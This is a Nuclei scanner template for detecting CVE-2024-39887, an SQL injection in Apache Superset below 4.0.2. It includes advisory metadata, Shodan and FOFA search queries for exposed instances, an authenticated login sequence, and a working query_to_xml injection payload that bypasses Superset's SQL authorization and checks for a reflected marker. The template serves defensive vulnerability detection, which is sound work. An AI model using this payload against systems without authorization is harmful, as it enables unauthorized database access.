id: CVE-2024-39887

info:
  name: Apache Superset < 4.0.2 - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: |
    An SQL Injection vulnerability in Apache Superset exists due to improper neutralization of special elements used in SQL commands. Specifically, certain engine-specific functions are not checked, which allows attackers to bypass Apache Superset's SQL authorization. To mitigate this, a new configuration key named DISALLOWED_SQL_FUNCTIONS has been introduced. This key disallows the use of the following PostgreSQL functions- version, query_to_xml, inet_server_addr, and inet_client_addr. Additional functions can be added to this list for increased protection.
  impact: |
    Authenticated attackers can bypass SQL authorization to execute restricted database queries.
  remediation: |
    Users are recommended to upgrade to version 4.0.2, which fixes the issue.
  reference:
    - https://blog.quarkslab.com/bypass-apache-superset-restrictions-to-perform-sql-injections.html
    - http://www.openwall.com/lists/oss-security/2024/07/16/5
    - https://lists.apache.org/thread/j55vm41jg3l0x6w49zrmvbf3k0ts5fqz
    - https://nvd.nist.gov/vuln/detail/CVE-2024-39887
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2024-39887
    cwe-id: CWE-89
    epss-score: 0.04433
    epss-percentile: 0.90128
  metadata:
    verified: true
    max-request: 3
    vendor: apache
    product: superset
    shodan-query:
      - http.favicon.hash:"1582430156"
      - http.html:"apache superset"
    fofa-query:
      - body="apache superset"
      - icon_hash=1582430156
  tags: cve,cve2024,apache,superset,sqli,authenticated,vuln

variables:
  marker: "{{randstr}}"

http:
  - raw:
      - |
        GET /login/ HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf_token={{csrf_token}}&username={{username}}&password={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header_2, "session")'
          - 'contains(body, "DashboardFilterStateRestApi")'
        condition: and

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        regex:
          - 'name="csrf_token" type="hidden" value="(.*)"'
        internal: true

  - raw:
      - |
        POST /api/v1/chart/data HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"datasource":{"id":1,"type":"table"},"queries":[{"row_limit":1,        "columns":[{"sqlExpression":"query_to_xml($$select convert_from(decode('{{base64(marker)}}', 'base64'),'utf8')$$,true,true,'')-- -",        "label":"aaaa",        "expressionType":"SQL"}]}]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "<convert_from>{{marker}}</convert_from>")'
        condition: and
# digest: 4a0a0047304502203b2132b002976ca6357015c156d4a8a30fbfad6fdc552591e34b3d7d018fa2e3022100cbd4a72ece7c8ca3e9500f3a222d2fb9875782e59b2b1f4fbe26da7b7fec21fe:922c64590222798bb761d5b6d8e72950